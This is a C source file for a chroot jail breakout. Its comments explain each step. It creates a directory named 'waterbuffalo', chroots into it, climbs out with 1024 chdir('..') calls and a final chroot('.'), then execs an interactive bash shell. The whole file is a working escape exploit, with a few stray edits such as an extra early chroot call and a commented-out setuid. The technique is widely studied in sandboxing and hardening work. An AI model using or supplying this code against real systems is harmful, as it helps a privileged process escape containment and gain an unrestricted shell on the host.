#include <stdio.h>
#include <stdlib.h>
#include <errno.h>  
#include <fcntl.h>  
#include <string.h>  
#include <unistd.h>  
#include <sys/stat.h>  
#include <sys/types.h>  
  	    
  	 /*  
  	 ** You should set NEED_FCHDIR to 1 if the chroot() on your  
  	 ** system changes the working directory of the calling  
  	 ** process to the same directory as the process was chroot()ed  
  	 ** to.  
  	 **  
  	 ** It is known that you do not need to set this value if you  
  	 ** running on Solaris 2.7 and below.  
  	 **  
  	 */  
  	 /*#define NEED_FCHDIR 0*/
  	    
  	 #define TEMP_DIR "waterbuffalo"  
  	    
  	 /* Break out of a chroot() environment in C */  
  	    
  	 int main() {  
  	   int x;            /* Used to move up a directory tree */  
  	   int done=0;       /* Are we done yet ? */  
  	 #ifdef NEED_FCHDIR  
  	   int dir_fd;       /* File descriptor to directory */  
  	 #endif  
  	   struct stat sbuf; /* The stat() buffer */  
  	   puts("chroot()");
	   chroot(".");  
  	  /* chdir("/");
	  setuid(65534); */
  	 /*  
  	 ** First we create the temporary directory if it doesn't exist  
  	 */  
  	 
	   if (stat(TEMP_DIR,&sbuf)<0) {  
  	     if (errno==ENOENT) {  
  	       if (mkdir(TEMP_DIR,0755)<0) {  
  	         fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,  
  	                 strerror(errno));  
  	         exit(1);  
  	       }  
  	     } else {  
  	       fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,  
  	               strerror(errno));  
  	       exit(1);  
  	     }  
  	   } else if (!S_ISDIR(sbuf.st_mode)) {  
  	     fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);  
  	     exit(1);  
  	   }  
  	  
  	 #ifdef NEED_FCHDIR  
  	 /*  
  	 ** Now we open the current working directory  
  	 **  
  	 ** Note: Only required if chroot() changes the calling program's  
  	 **       working directory to the directory given to chroot().  
  	 **  
  	 */  
  	   if ((dir_fd=open(".",O_RDONLY))<0) {  
  	     fprintf(stderr,"Failed to open \".\" for reading - %s\n",  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	 #endif  
  	    
  	 /*  
  	 ** Next we chroot() to the temporary directory  
  	 */  
  	   if (chroot(TEMP_DIR)<0) {  
  	     fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	    
  	 #ifdef NEED_FCHDIR  
  	 /*  
  	 ** Partially break out of the chroot by doing an fchdir()  
  	 **  
  	 ** This only partially breaks out of the chroot() since whilst  
  	 ** our current working directory is outside of the chroot() jail,  
  	 ** our root directory is still within it. Thus anything which refers  
  	 ** to "/" will refer to files under the chroot() point.  
  	 **  
  	 ** Note: Only required if chroot() changes the calling program's  
  	 **       working directory to the directory given to chroot().  
  	 **  
  	 */  
  	   if (fchdir(dir_fd)<0) {  
  	     fprintf(stderr,"Failed to fchdir - %s\n",  
  	             strerror(errno));  
  	     exit(1);  
  	   }  
  	   close(dir_fd);  
  	 #endif  
  	    
  	 /*  
  	 ** Completely break out of the chroot by recursing up the directory  
  	 ** tree and doing a chroot to the current working directory (which will  
  	 ** be the real "/" at that point). We just do a chdir("..") lots of  
  	 ** times (1024 times for luck :). If we hit the real root directory before  
  	 ** we have finished the loop below it doesn't matter as .. in the root  
  	 ** directory is the same as . in the root.  
  	 **  
  	 ** We do the final break out by doing a chroot(".") which sets the root  
  	 ** directory to the current working directory - at this point the real  
  	 ** root directory.  
  	 */  
  	   for(x=0;x<1024;x++) {  
  	     chdir("..");  
  	   }  
  	   chroot(".");  
  	    
  	 /*  
  	 ** We're finally out - so exec a shell in interactive mode  
  	 */  
  	   if (execl("/bin/bash","-i",NULL)<0) {  
  	     fprintf(stderr,"Failed to exec - %s\n",strerror(errno));  
  	     exit(1);  
  	   }  
  	 }